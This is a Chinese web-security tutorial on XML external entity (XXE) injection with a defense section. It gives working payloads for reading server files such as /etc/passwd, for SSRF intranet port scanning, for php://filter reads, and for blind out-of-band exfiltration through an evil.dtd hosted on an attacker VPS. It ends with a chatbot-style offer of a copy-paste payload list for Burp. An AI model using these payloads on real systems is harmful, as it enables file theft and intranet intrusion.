当前位置: 首页 > 文章 > Web安全 > 正文

XXE 外部实体注入:读文件与打内网的原理

admin 2026-10-27 08:21 117人看过 免费
# XXE 外部实体注入|网络攻防演练实战版 核心定位:**XML解析器支持外部实体引用,攻击者提交恶意XML,让服务器以自身身份读取本地文件、发起内网请求(SSRF)**,红蓝对抗高频漏洞。 > 区分: > - 内部实体:文档内定义 > - 外部实体:`SYSTEM` 关键字,支持 `file://` / `http://` / `ftp://` 等协议 ## 一、漏洞触发前提(实战排查第一步) 1. 后端接口接收**用户可控XML**(Content-Type: application/xml) 2. XML解析库**启用了外部实体/DTD解析** 3. 服务器进程有权限读取本地文件、访问内网 > 现代库默认关闭外部实体:Java(SAX/DOM)、PHP libxml新版、Python lxml新版默认安全;老版本/错误配置才会触发。 ## 二、场景1:有回显XXE,读取本地文件 ### Payload(Linux) ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY content SYSTEM "file:///etc/passwd"> ]> <user> <name>&content;</name> </user> ``` ### 执行流程 1. 把上面XML POST提交到目标接口 2. 解析器读到 `DOCTYPE`,发现外部实体 `&content;` 3. 通过`file://`协议读取服务器本地文件 4. 文件内容替换实体,在HTTP响应中直接返回内容 Windows读取示例: ```xml <!ENTITY content SYSTEM "file://C:/Windows/win.ini"> ``` ### 实战坑点 - 如果文件内容包含XML特殊字符 `< > & " '`,XML解析报错,无法直接回显。 ✅ 解决:**CDATA封装绕过**(构造实体把文件内容塞进CDATA) ```xml <?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % wrap "<![CDATA[%file;]]>"> ]> <root>&wrap;</root> ``` ## 三、场景2:XXE打内网(本质:利用XML解析器发起SSRF) `SYSTEM`支持http协议,**由目标服务器主动发起请求访问内网**,用于内网端口探测、访问内网web服务。 ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY net SYSTEM "http://127.0.0.1:8080/"> ]> <test>&net;</test> ``` ### 实战用法 1. 遍历内网网段 `http://192.168.1.1:80`、`http://192.168.1.2:3306` 做端口扫描 2. 访问内网未授权Web管理接口,读取内网服务页面内容 > 限制:很多环境有网络策略,服务器不能出网,但内网互通。 ## 四、场景3:盲XXE(无回显,OOB带外注入,红队最常用) 现象:页面没有任何实体内容回显,直接返回固定提示,无法直接拿到文件内容。 思路:**把读取的文件内容,外带传输到攻击者自己的VPS(带外OOB)**。 > 需要两台资源:目标服务器 + 攻击者VPS(托管恶意dtd文件) 1. 提交给目标的XML: ```xml <?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % remote SYSTEM "http://你的VPSIP/evil.dtd"> %remote; ]> <root></root> ``` 2. VPS上 `evil.dtd` 内容: ```xml <!ENTITY % out "<!ENTITY send SYSTEM 'http://你的VPSIP/collect?data=%file;'>"> %out; ``` 3. 解析流程: 目标加载VPS上的evil.dtd → 读取本地文件 → 将文件内容作为http请求参数,**主动访问攻击者VPS** 4. 在VPS搭建简易web服务,接收GET请求,日志拿到文件内容。 > 实战坑:部分环境禁止服务器主动对外出网,OOB失效,此时只能用报错型盲XXE(报错回显)。 ### 报错盲XXE(OOB出网被禁时使用) 利用XML解析报错,把文件内容放到报错信息返回。 ```xml <?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % err "<!ENTITY send SYSTEM 'file:///fakefile/%file;'>"> %err; ]> <root>&send;</root> ``` 解析找不到fakefile,抛出异常,异常信息附带读取到的文件内容。 ## 五、协议支持(红队重点) - `file://`:本地文件读取,最常用 - `http:// https://`:发起网络请求(内网探测SSRF) - `php://filter`:PHP环境下,读取文件并base64编码(经典) ```xml <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> ``` ## 六、蓝队防御(防守演练) 1. **关闭DTD文档类型定义,禁用外部实体**(最优方案) - PHP:`libxml_disable_entity_loader(true);` - Java:禁用DOCTYPE,关闭外部DTD、外部实体解析 - Python lxml:默认关闭外部实体,不要手动开启 2. 输入检测:WAF拦截`<!DOCTYPE`、`<!ENTITY`、`SYSTEM`等XXE特征 3. 最小权限运行Web服务账号,限制可读取文件范围 4. 网络侧:限制Web服务器访问内网、禁止服务器主动对外发起出站请求(缓解SSRF) ## 七、红队实战排查步骤 1. 抓包,修改请求body为XML,修改Content-Type为`application/xml` 2. 提交简单测试payload:`<?xml version="1.0"?><test>123</test>`,确认接口解析XML 3. 测试payload: ```xml <?xml version="1.0"?> <!DOCTYPE x [<!ENTITY test "hello">]> <x>&test;</x> ``` 页面返回hello,说明DTD可用,继续测试外部实体。 4. 先试file读文件,无回显再上OOB盲XXE。 ## 八、易混区分(攻防演练经常踩坑) - XXE:XML解析阶段触发,可读本地文件 + 发起内网请求(属于SSRF其中一类实现) - SSRF:大类,服务器发起请求;XXE只是SSRF的一种触发方式,其他如图片地址、http请求参数也能触发SSRF - SSTI:模板引擎解析用户输入,直接代码执行,和XML无关 需要我给你整理**XXE实战payload清单(带回显、报错盲注、OOB、phpfilter)**,直接复制丢burp用吗?

附件资料

附件仅对登录用户可见,请先 登录。

版权声明:倡导尊重与保护知识产权。未经许可,任何人不得复制、转载或以其他方式使用本站原创内容。